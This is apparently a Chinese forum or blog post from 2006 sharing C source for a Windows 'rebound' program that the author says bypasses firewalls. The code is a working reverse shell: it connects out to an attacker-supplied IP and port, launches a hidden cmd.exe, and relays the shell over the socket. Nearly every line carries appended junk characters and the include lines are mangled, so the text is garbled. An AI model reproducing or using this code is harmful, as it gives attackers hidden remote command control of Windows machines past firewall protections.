Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 nT)vNWT=  
iam1V)V  
/* ============================== LXCx~;{\  
Rebound port in Windows NT +W+|%qM,\  
By wind,2006/7 {Hk}Kow  
===============================*/ <\S:'g"(  
#include W!(LF7_!  
#include >KKMcTOYY  
!1b;F*H  
#pragma comment(lib,"wsock32.lib") )WFr</z5bA  
*gz{.)W  
void OutputShell(); 7>*vI7O0l  
SOCKET sClient; Vf1^4t  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Dum9l
j  
N4HqLh23H  
void main(int argc,char **argv) ?Ss!e$jf  
{ yaV|AB$v  
WSADATA stWsaData; {(?4!rh  
int nRet; pmYHUj #  
SOCKADDR_IN stSaiClient,stSaiServer; SZCze"`[  
(C)p9-,  
if(argc != 3) |sZHUf_  
{ f|oh.z_R  
printf("Useage:\n\rRebound DestIP DestPort\n"); f`66h M[  
return; 9(<@O%YU  
} Yu`~U,m  
r:TH]hs12+  
WSAStartup(MAKEWORD(2,2),&stWsaData); Mrb)  

<QGXy=  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _h1mF<\ X^  
mRK>U$v  
stSaiClient.sin_family = AF_INET; G .4X'  
stSaiClient.sin_port = htons(0); ] @fk]]R  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |(^PS8wG  
11;zNjD|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @`Su0W+.  
{ r#mx~OVkk  
printf("Bind Socket Failed!\n"); -`6+UkOV[x  
return; P0jtp7)7  
} Fv`,3aNB  
sW8dPw O  
stSaiServer.sin_family = AF_INET; "tpSg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `5Zz5V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T^]}Oy@e,J  
Nmh*EAJSy  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B4 }bVjs  
{ hehFEyx  
printf("Connect Error!"); [z9Z5sLO  
return; '@P^0+B!(.  
} KJZ4AWH`  
OutputShell(); +m,yA mEEd  
} 2^yU ~`#  
iO; 7t@]-  
void OutputShell() ,~W|]/b<q  
{ x'R`. !g3  
char szBuff[1024]; Od)C&N=y  
SECURITY_ATTRIBUTES stSecurityAttributes; 9(wK@  
OSVERSIONINFO stOsversionInfo; Wo=jskBrQ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `Ryp% Bn  
STARTUPINFO stStartupInfo; <1M-Ro?5k  
char *szShell; Aq7osU1B  
PROCESS_INFORMATION stProcessInformation; @7n"yp*"  
unsigned long lBytesRead; j"Pv0tehw  
h@@=M  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Jxm.cC5z.  
NQ2E  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D.XvG_  
stSecurityAttributes.lpSecurityDescriptor = 0; $L]lHji  
stSecurityAttributes.bInheritHandle = TRUE; ~61v5@  
~W]TD@w  
3sZ\0P}   
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $PHvA6D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .#pU=v#/[  
UW EV^ &"x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $* Kvc$D  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wLr_-vJ  
stStartupInfo.wShowWindow = SW_HIDE; wq`Bd  
stStartupInfo.hStdInput = hReadPipe; }RqK84K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >[*qf9$  
bA->{OPkT  
GetVersionEx(&stOsversionInfo); (Ep\Z 6*  
!%0 *z  
switch(stOsversionInfo.dwPlatformId) Ma"]PoP  
{ #Mw8^FST  
case 1: 2jhxQL  
szShell = "command.com"; 1|wL\I  
break; f& '  
default: N]sAji*  
szShell = "cmd.exe"; ?FcAXA/J{  
break; icK/],  
} "'\$ g[k  
3m)y|$R  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); um0N)&iY  
P";'jVcR  
send(sClient,szMsg,77,0); 83q6Sv  
while(1) ^y%T~dLkp'  
{ n.0fVV-A  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZJs$STJ*  
if(lBytesRead) o"#\ >  
{
IO-Ow!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [ibu/W$  
send(sClient,szBuff,lBytesRead,0); vRO _Q?  
} wAW5 Z0D  
else @<&m|qtMsz  
{ d/DB nZN  
lBytesRead=recv(sClient,szBuff,1024,0); `W*U4?M  
if(lBytesRead<=0) break; D}X\Ca"h  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8-77d^cprR  
} 'Qe;vZ31K  
} @s2y~0}#  
'q:`? nJ^  
return; :6\qpex  
}